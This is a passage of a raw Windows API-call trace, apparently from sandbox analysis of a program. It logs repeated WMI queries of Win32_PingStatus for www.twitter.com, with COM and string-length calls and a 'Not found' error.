plFlavor=0x2597ffc*=64) returned 0x0 [0159.117] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.117] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0159.117] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0159.117] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.117] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResponseTime", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598230*=0, plFlavor=0x2598234*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x2598230*=19, plFlavor=0x2598234*=0) returned 0x0 [0159.117] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResponseTime", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598230*=19, plFlavor=0x2598234*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x2598230*=19, plFlavor=0x2598234*=0) returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.118] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.118] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0159.118] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.119] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0159.119] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0159.119] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.119] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.119] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.119] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.119] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.119] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.119] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.119] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.119] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.119] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.119] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.119] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.119] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.119] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.119] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.119] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.119] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.119] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.119] SysStringByteLen (bstr="__PATH") returned 0xc [0159.119] SysStringByteLen (bstr="__PATH") returned 0xc [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25987ac*=0, plFlavor=0x25987b0*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25987ac*=3, plFlavor=0x25987b0*=64) returned 0x0 [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25987e0*=0, plFlavor=0x25987e4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25987e0*=8, plFlavor=0x25987e4*=64) returned 0x0 [0159.120] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.120] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598838*=0, plFlavor=0x259883c*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598838*=8, plFlavor=0x259883c*=64) returned 0x0 [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598860*=0, plFlavor=0x2598864*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2598860*=8, plFlavor=0x2598864*=64) returned 0x0 [0159.120] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.120] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25988b8*=0, plFlavor=0x25988bc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25988b8*=8, plFlavor=0x25988bc*=64) returned 0x0 [0159.120] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.120] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.120] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598a94*=0, plFlavor=0x2598a98*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2598a94*=3, plFlavor=0x2598a98*=64) returned 0x0 [0159.121] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598ac8*=0, plFlavor=0x2598acc*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2598ac8*=8200, plFlavor=0x2598acc*=64) returned 0x0 [0159.121] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598afc*=0, plFlavor=0x2598b00*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2598afc*=8, plFlavor=0x2598b00*=64) returned 0x0 [0159.121] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.121] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.121] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598b48*=0, plFlavor=0x2598b4c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2598b48*=8, plFlavor=0x2598b4c*=64) returned 0x0 [0159.121] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.121] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.121] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598b94*=0, plFlavor=0x2598b98*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2598b94*=8, plFlavor=0x2598b98*=64) returned 0x0 [0159.121] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.121] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0159.121] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.122] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="WriteErrorStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598dcc*=0, plFlavor=0x2598dd0*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2598dcc*=0, plFlavor=0x2598dd0*=0) returned 0x80041002 [0159.122] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0159.123] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f85220) returned 0x0 [0159.123] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85220, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0159.123] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85220, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f85230) returned 0x0 [0159.123] WbemStatusCodeText:IUnknown:Release (This=0x5f85220) returned 0x0 [0159.123] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f85230) returned 0x0 [0159.123] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0159.124] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85230) returned 0x3 [0159.124] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0159.124] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0159.124] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0159.124] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0159.124] CoGetContextToken (in: pToken=0x5bddd68 | out: pToken=0x5bddd68) returned 0x0 [0159.124] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x5bddd50*=0x378, lpdwindex=0x5bddc08 | out: lpdwindex=0x5bddc08) returned 0x80010115 [0159.127] CoGetContextToken (in: pToken=0x5bdd20c | out: pToken=0x5bdd20c) returned 0x0 [0159.127] CoGetContextToken (in: pToken=0x5bdd1ec | out: pToken=0x5bdd1ec) returned 0x0 [0159.127] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0159.127] IUnknown:Release (This=0x5f6e0e8) returned 0x2 [0159.127] IUnknown:Release (This=0x5f6e0e8) returned 0x1 [0159.127] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0159.127] WbemStatusCodeText:IUnknown:Release (This=0x5f85070) returned 0x1 [0159.127] WbemStatusCodeText:IUnknown:Release (This=0x5f85070) returned 0x0 [0159.131] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0159.131] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0159.131] WbemStatusCodeText:IUnknown:Release (This=0x5f85230) returned 0x2 [0159.131] WbemStatusCodeText:IUnknown:Release (This=0x5f85230) returned 0x1 [0159.131] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0159.131] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0159.131] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85230, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f85230) returned 0x0 [0159.131] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85230) returned 0x3 [0159.131] WbemStatusCodeText:IUnknown:Release (This=0x5f85230) returned 0x2 [0159.131] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85230, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0159.131] SysStringByteLen (bstr="Not found ") returned 0x14 [0159.132] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.132] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.132] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.132] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0159.132] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0159.132] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.132] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0159.132] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0159.132] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0159.132] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0159.133] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.133] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.133] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.133] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.133] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.133] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.133] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.133] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0159.133] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.133] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0159.133] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.133] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0159.133] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.133] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0159.133] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.133] SysStringByteLen (bstr="__SERVER") returned 0x10 [0159.133] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.133] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0159.133] SysStringByteLen (bstr="__PATH") returned 0xc [0159.133] SysStringByteLen (bstr="__PATH") returned 0xc [0159.133] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25991ac*=0, plFlavor=0x25991b0*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25991ac*=3, plFlavor=0x25991b0*=64) returned 0x0 [0159.133] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25991e0*=0, plFlavor=0x25991e4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25991e0*=8, plFlavor=0x25991e4*=64) returned 0x0 [0159.134] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.134] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.134] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599238*=0, plFlavor=0x259923c*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599238*=8, plFlavor=0x259923c*=64) returned 0x0 [0159.134] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599260*=0, plFlavor=0x2599264*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2599260*=8, plFlavor=0x2599264*=64) returned 0x0 [0159.134] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.134] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.134] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25992b8*=0, plFlavor=0x25992bc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25992b8*=8, plFlavor=0x25992bc*=64) returned 0x0 [0159.134] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.134] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0159.134] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2599494*=0, plFlavor=0x2599498*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2599494*=3, plFlavor=0x2599498*=64) returned 0x0 [0159.134] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25994c8*=0, plFlavor=0x25994cc*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25994c8*=8200, plFlavor=0x25994cc*=64) returned 0x0 [0159.135] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25994fc*=0, plFlavor=0x2599500*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25994fc*=8, plFlavor=0x2599500*=64) returned 0x0 [0159.135] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.135] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0159.135] IWbemClassObject:Get (in: 